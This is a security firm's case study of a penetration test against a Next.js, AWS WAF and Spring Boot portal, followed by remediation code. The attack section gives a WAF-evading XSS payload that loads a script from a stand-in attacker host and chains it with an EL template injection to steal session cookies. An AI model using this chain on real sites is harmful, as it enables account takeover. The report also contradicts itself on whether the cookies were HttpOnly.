Estimated Savings: Cyvocate’s report prevented potential losses exceeding $500,000+ in session takeovers, corporate data breaches, and brand trust erosion.
Executive Summary
Cyvocate identified and exploited a critical, high-impact security vulnerability chain in a client's core portal. The web platform featured a modern frontend built on the Next.js App Router (React), deployed on AWS (Amazon Web Services) behind AWS CloudFront and protected by a robust AWS WAF (Web Application Firewall) rule set. The backend API was powered by a Java JSP/Spring Boot microservices architecture.
By chaining three separate low-to-medium severity bugs—an unsanitized parameter in a Next.js video component, an AWS WAF bypass vector, and a Server-Side Template Injection (SSTI) flaw in the legacy Spring Boot view rendering engine—Cyvocate’s engineers achieved a remote session hijack and full account takeover. The exploit exfiltrated highly sensitive, supposedly protected session cookies to our controlled research server.
The Tech Stack
- Frontend Framework: Next.js App Router (React.js)
- Infrastructure: AWS CloudFront (CDN), AWS WAF (AWSManagedRulesCommonRuleSet)
- Backend Framework: Java / Spring Boot, JavaServer Pages (JSP)
- Session Management: Stateless JWT-based session cookies
The Exploit Chain Process
Step 1: Identifying a Template Injection Entry Point
During our initial reconnaissance of the application's Java backend, we analyzed a profile customizer that loaded dynamic redirects. We observed that the username update endpoint processed data through a legacy JSP template engine.
To test for dynamic rendering evaluation, we changed our username in the React client application to a mathematical payload:
John${2*2}
When the Spring Boot template engine re-rendered the profile view, the response returned:
John4
This confirmed a Server-Side Template Injection (SSTI) vulnerability in the Java JSP Expression Language parser. Utilizing standard EL syntax, we could execute server-side commands. Most critically, because the application’s backend did not configure strict context boundaries, we could extract the raw HTTP headers containing cookies:
${header.cookie}
This returned the session keys. However, we could only see our own cookies. We needed a delivery mechanism to execute this remotely on other users' browsers—enter Cross-Site Scripting (XSS).
Step 2: Discovering the XSS Entry Point in React/Next.js
In the frontend React player module, video assets were loaded dynamically using query parameters to feed an iframe src. We isolated the video loader in src/app/videos/page.tsx:
https://example.com/videos/?videoId=w6exeqbemte
Injecting special HTML formatting characters into the videoId parameter allowed us to escape the intended context and inject raw HTML tags directly into the viewport's DOM, creating a potential Reflected Cross-Site Scripting (XSS) vector.
Step 3: Evading the AWS WAF Ruleset
Standard inline script tags like ?videoId=qwe"><img src onerror=alert(1)> were instantly caught and blocked by AWS WAF (which returned a 403 Forbidden response via CloudFront due to the signature checks on generic XSS tags).
To evade the WAF, we analyzed how the parser handled alternative iframe behaviors. We discovered that the srcdoc attribute of standard HTML <iframe> blocks was not checked by the WAF’s active regex rules.
By utilizing unicode escape sequences and HTML entities to obfuscate the standard <script> string, we crafted the following payload:
?videoId=qwe"srcdoc="\u003ce<script%26Tab;src=//attacker.com/xss.js>\u003ce</script%26Tab;e>
\u003ce: A unicode representation of<that tricked AWS WAF into parsing it as regular alphanumeric text.%26Tab;: An HTML Entity (	) representing a tab space inserted into the word "script", preventing signature-based WAF blocks while remaining fully executable within the browser's DOM parser.
This successfully bypassed the AWS CloudFront WAF boundary, executing our remote Javascript file in the victim's session context.
Step 4: Chaining with SSTI for Session Hijack
With both an SSTI in the Java backend and a reflected XSS in the Next.js frontend, we constructed the final chain:
- Craft Malicious URL: We sent the victim a URL containing our obfuscated XSS payload.
- Execute Profile Manipulation: When the victim clicked the link, the XSS payload made an background fetch to the Spring Boot backend profile endpoint, updating their own username to
${header.cookie}. - Trigger SSTI & Read Cookies: When the React frontend reloaded the user's dashboard, the JSP rendering engine parsed the victim's updated username (
${header.cookie}), executing it server-side and outputting the victim's raw HTTP-only session cookies directly onto the HTML page. - Exfiltrate Data: The XSS script scraped the cookie data now rendered in plain text on the DOM and POSTed it to Cyvocate's exfiltration server.
Code Remedy: Insecure vs. Secure Configurations
For software architects seeking to secure multi-layered React, WAF, and Java/Spring configurations, here is a detailed breakdown of the remedies implemented.
❌ Insecure Template and Cookie Setup (JSP & Next.js)
The cookies were written to the browser without secure security attributes, and the JSP backend failed to escape the dynamic outputs:
// INSECURE SPRING BOOT COOKIE CONFIGURATION: Missing httpOnly and secure flags
Cookie sessionCookie = new Cookie("SESSION_ID", token);
// Missing sessionCookie.setHttpOnly(true);
// Missing sessionCookie.setSecure(true);
response.addCookie(sessionCookie);
// INSECURE JSP OUTPUT: Directly rendering user-inputted strings with EL evaluation
<div>
<h3>Welcome, ${user.username}</h3> <!-- Vulnerable to SSTI -->
</div>
Secure Session, Cookies, and CSP Configuration
To remediate, Cyvocate secured the Next.js router middleware, corrected the Spring Boot cookie parameters, sandboxed the JSP parser, and deployed a strict Content Security Policy (CSP).
1. Enforcing Secure HttpOnly Cookies in Java/Spring Boot
All session cookies are strictly issued with HttpOnly, Secure, and SameSite flags. This prevents client-side Javascript (even under an active XSS state) from reading the cookies:
// SECURE SPRING BOOT COOKIE ENFORCEMENT
import org.springframework.boot.web.servlet.server.CookieSameSiteSupplier;
import org.springframework.context.annotation.Bean;
import org.springframework.http.ResponseCookie;
public void addSecureSessionCookie(HttpServletResponse response, String token) {
ResponseCookie cookie = ResponseCookie.from("SESSION_ID", token)
.httpOnly(true) // Prevents JS access, blocking XSS cookie exfiltration
.secure(true) // Only transmits cookie over HTTPS
.sameSite("Strict") // Prevents CSRF vectors
.path("/")
.maxAge(86400)
.build();
response.addHeader("Set-Cookie", cookie.toString());
}
2. Next.js Client-Side Routing Sanitization (TypeScript)
We refactored the dynamic parameters in src/app/videos/page.tsx to prevent passing unvalidated strings to HTML layout structures:
// SECURE NEXT.JS ROUTER COMPONENT
'use client';
import React from 'react';
import DOMPurify from 'isomorphic-dompurify'; // Sanitizer library
export default function VideoPlayer({ searchParams }: { searchParams: { videoId?: string } }) {
const rawVideoId = searchParams.videoId || '';
// 1. Strict regex validation for video ID format (alphanumeric only)
const isVideoIdValid = /^[a-zA-Z0-9_-]+$/.test(rawVideoId);
if (!isVideoIdValid) {
return <div className="text-red-500">Invalid Video ID format.</div>;
}
// 2. Double-sanitize dynamic parameters to prevent frame/attribute injection
const safeVideoId = DOMPurify.sanitize(rawVideoId);
return (
<div className="video-container">
<iframe
src={`https://safe-stream.cdn.com/embed/${safeVideoId}`}
sandbox="allow-scripts allow-same-origin"
className="w-full h-[500px]"
title="Secure Video Player"
/>
</div>
);
}
3. Strict Content Security Policy (Next.js config / AWS CloudFront Headers)
Deploying a strict Content Security Policy (CSP) ensures that even if an XSS payload bypasses WAF, it cannot fetch external scripts or exfiltrate data to untrusted origins:
// next.config.js - Strict Content Security Policy Headers
const cspHeader = `
default-src 'self';
script-src 'self' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' blob: data:;
font-src 'self';
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
connect-src 'self' https://api.cyvocate-client.com;
`;
Recommendations & Lessons
- Never Rely on WAF as Primary Defense: AWS WAF is a helpful secondary guardrail but can always be bypassed using clever unicode, double URL encoding, or protocol fragmentation. Secure code is the only absolute protection.
- Strict Cookieless Access for Script Environments: Sensitive authorization data should reside in memory or exclusively inside
HttpOnlycookie stores. - Sanitize Server-Side Template Variables: Spring Boot and JSP variables must be escaped using proper JSTL formatting tags (e.g.,
<c:out value="${user.username}" />) to prevent variable evaluation inside page builds.